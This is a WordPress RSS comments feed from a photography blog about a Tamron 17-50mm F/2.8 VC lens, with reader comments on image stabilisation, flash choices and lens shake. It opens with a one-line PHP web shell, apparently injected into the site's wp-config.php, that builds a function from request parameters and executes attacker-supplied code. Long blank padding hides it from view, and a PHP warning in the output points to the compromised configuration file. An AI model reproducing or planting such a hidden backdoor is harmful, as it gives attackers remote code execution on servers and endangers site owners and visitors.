if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['71f87457f7a76eb6a5bc9920834b8eca']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}







































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /hermes/waloraweb044/b1061/moo.thedistrictphotograp/WWW/simplynesscom/wp-config.php:2520) in <b>/hermes/waloraweb044/b1061/moo.thedistrictphotograp/WWW/simplynesscom/wp-includes/feed-rss2-comments.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: My Tamron SP AF17-50mm F/2.8 XR Di-II VC exceeded expectations</title>
	<atom:link href="http://www.simplyness.com/my-gear/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html</link>
	<description>Read my Weekly post on Macro Photography, Street Photography, HDR Photography, Canon Digital SLR Camera, Lens and Accessories reviews. Learn from my Photography Tips at SimplyNess.Com</description>
	<lastBuildDate>Sat, 04 Feb 2012 14:11:05 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
	<item>
		<title>By: Kurt</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-6036</link>
		<dc:creator>Kurt</dc:creator>
		<pubDate>Fri, 28 Jan 2011 15:43:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-6036</guid>
		<description>I have the Tamron 17-50mm F2.8 VC. It is a fantastic lens: Sharp, great contrast, and did I mention sharp? :-)

The image stabilisation is fantastic, I don&#039;t think I could get a lens without it again! Shooting at 50mm means that you need to have your shutterspeed set to about 1/50s (actually even quicker if you have a crop sensor camera.). With VC turned on, you can take a shot at 50mm at 1/10s without an issue.</description>
		<content:encoded><![CDATA[<p>I have the Tamron 17-50mm F2.8 VC. It is a fantastic lens: Sharp, great contrast, and did I mention sharp? <img src='http://www.simplyness.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The image stabilisation is fantastic, I don&#8217;t think I could get a lens without it again! Shooting at 50mm means that you need to have your shutterspeed set to about 1/50s (actually even quicker if you have a crop sensor camera.). With VC turned on, you can take a shot at 50mm at 1/10s without an issue.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Review Update on My Tamron SP AF17-50mm F/2.8 XR Di II VC -My 2010 Photo of The Day &#124; Simplyness Photography Blog</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-6004</link>
		<dc:creator>Review Update on My Tamron SP AF17-50mm F/2.8 XR Di II VC -My 2010 Photo of The Day &#124; Simplyness Photography Blog</dc:creator>
		<pubDate>Wed, 26 Jan 2011 12:11:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-6004</guid>
		<description>[...] is a follow up on the mini review a wrote on my Tamron 17-50mm VC back in March of 2010. You can read the post [...]</description>
		<content:encoded><![CDATA[<p>[...] is a follow up on the mini review a wrote on my Tamron 17-50mm VC back in March of 2010. You can read the post [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Final Moments with my Canon EF 70-210mm F/4 Macro Telephoto Lens -Blog &#124; Simplyness Photography Blog</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-5967</link>
		<dc:creator>Final Moments with my Canon EF 70-210mm F/4 Macro Telephoto Lens -Blog &#124; Simplyness Photography Blog</dc:creator>
		<pubDate>Mon, 24 Jan 2011 17:14:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-5967</guid>
		<description>[...] F/4 IS is always attached to the 20d and I use the Rebel XS with my other lenses(nifty 50mm 1.8, tamron 17-50mm F/2.8 and EF 85mm [...]</description>
		<content:encoded><![CDATA[<p>[...] F/4 IS is always attached to the 20d and I use the Rebel XS with my other lenses(nifty 50mm 1.8, tamron 17-50mm F/2.8 and EF 85mm [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: The Lone Urbanist</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-309</link>
		<dc:creator>The Lone Urbanist</dc:creator>
		<pubDate>Sat, 18 Sep 2010 01:28:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-309</guid>
		<description>Scot, for me, the VC or IS feature is very important, especially when I&#039;m shooting in low light, it can provide a lot of help. But it all comes down to price. If you can still wait, I would suggest you stick with your 18-55mm is for a few more weeks or months and save up, at least that&#039;s what I always do, when you have the funds, then it&#039;s time to upgrade. With regards to flash, I use the 430ex II. I&#039;m also considering on getting a the Yongnuo YN 467 for my second flash, the specs looks impressive and it supports ttl, I&#039;m also looking at the Lumopro LP 160 and Yongnuo YN-560 which is rated to equal the power of the Canon 580 EX II and the Canon SP 900, but these two flashes are manual and doesn&#039;t support ttl.</description>
		<content:encoded><![CDATA[<p>Scot, for me, the VC or IS feature is very important, especially when I&#8217;m shooting in low light, it can provide a lot of help. But it all comes down to price. If you can still wait, I would suggest you stick with your 18-55mm is for a few more weeks or months and save up, at least that&#8217;s what I always do, when you have the funds, then it&#8217;s time to upgrade. With regards to flash, I use the 430ex II. I&#8217;m also considering on getting a the Yongnuo YN 467 for my second flash, the specs looks impressive and it supports ttl, I&#8217;m also looking at the Lumopro LP 160 and Yongnuo YN-560 which is rated to equal the power of the Canon 580 EX II and the Canon SP 900, but these two flashes are manual and doesn&#8217;t support ttl.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: scot</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-306</link>
		<dc:creator>scot</dc:creator>
		<pubDate>Fri, 17 Sep 2010 04:47:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-306</guid>
		<description>Hey I was thinking about getting a tamron 17-50mm 2.8 NON VC because of funds. Do I really need VC? I am a casual photographer just pictures of family/friends and random landscape. I&#039;ve been debating or should I stay with my 18-55 IS and get a flash.  I am also in the market for a flash either a yonguo yn-467 or a nissin di622. Suggestions and advice would be much appreciated. Thanks!</description>
		<content:encoded><![CDATA[<p>Hey I was thinking about getting a tamron 17-50mm 2.8 NON VC because of funds. Do I really need VC? I am a casual photographer just pictures of family/friends and random landscape. I&#8217;ve been debating or should I stay with my 18-55 IS and get a flash.  I am also in the market for a flash either a yonguo yn-467 or a nissin di622. Suggestions and advice would be much appreciated. Thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: The Lone Urbanist</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-210</link>
		<dc:creator>The Lone Urbanist</dc:creator>
		<pubDate>Tue, 15 Jun 2010 04:20:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-210</guid>
		<description>Yes, I know what you are referring to. Almost all stabilized lenses behave that way. It&#039;s not actually shake, it&#039;s the VC feature that kicks in  everytime you press the shutter. You probably don&#039;t notice it much on the EF-s 18-55mm IS kit lens, it&#039;s probably because there isn&#039;t much glass in it. I also experience this on the EF 70-200mm F/2.8L IS MK 1, EF 70-200mm F/4L IS USM, and my EF 28-135mm F/4-5.6 IS USM. Don&#039;t worry your lens is not defective, it&#039;s a normal behaviour of all stabilized lenses. Like what i said, when you noticed the shake which is not actually a shake but a shift, it means the vc/os/is/vr feature of the lens has been activated and a shift in the gyro mechanism has happened. Image stabilized lenses has this thing they call gyroscopic sensors, which detects motion these gyro&#039;s(not the one we eat(;-) ensure the image stays more stable during the process of taking photos.</description>
		<content:encoded><![CDATA[<p>Yes, I know what you are referring to. Almost all stabilized lenses behave that way. It&#8217;s not actually shake, it&#8217;s the VC feature that kicks in  everytime you press the shutter. You probably don&#8217;t notice it much on the EF-s 18-55mm IS kit lens, it&#8217;s probably because there isn&#8217;t much glass in it. I also experience this on the EF 70-200mm F/2.8L IS MK 1, EF 70-200mm F/4L IS USM, and my EF 28-135mm F/4-5.6 IS USM. Don&#8217;t worry your lens is not defective, it&#8217;s a normal behaviour of all stabilized lenses. Like what i said, when you noticed the shake which is not actually a shake but a shift, it means the vc/os/is/vr feature of the lens has been activated and a shift in the gyro mechanism has happened. Image stabilized lenses has this thing they call gyroscopic sensors, which detects motion these gyro&#8217;s(not the one we eat(;-) ensure the image stays more stable during the process of taking photos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sam</title>
		<link>http://www.simplyness.com/photography-gear-reviews/my-tamron-sp-af17-50mm-f2-8-xr-di-ii-vc-exceeded-expectations.html#comment-209</link>
		<dc:creator>Sam</dc:creator>
		<pubDate>Sat, 12 Jun 2010 16:17:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.fullmanualcontrol.com/?p=2206#comment-209</guid>
		<description>I just bought this Tamron 17-50 F/2.8 VC lens, and it is my first non Canon lens.  I notice the lens shake during refocus if I leave VC on, and it happens ONLY if I turn on VC.  It doesn&#039;t happen if I turn off VC function.  It seems not affect the photo outcome, but just see lens shake if it refocuses.  Do you  see same behavior or I just got a defective product?  Thanks for your advise.</description>
		<content:encoded><![CDATA[<p>I just bought this Tamron 17-50 F/2.8 VC lens, and it is my first non Canon lens.  I notice the lens shake during refocus if I leave VC on, and it happens ONLY if I turn on VC.  It doesn&#8217;t happen if I turn off VC function.  It seems not affect the photo outcome, but just see lens shake if it refocuses.  Do you  see same behavior or I just got a defective product?  Thanks for your advise.</p>
]]></content:encoded>
	</item>
</channel>
</rss>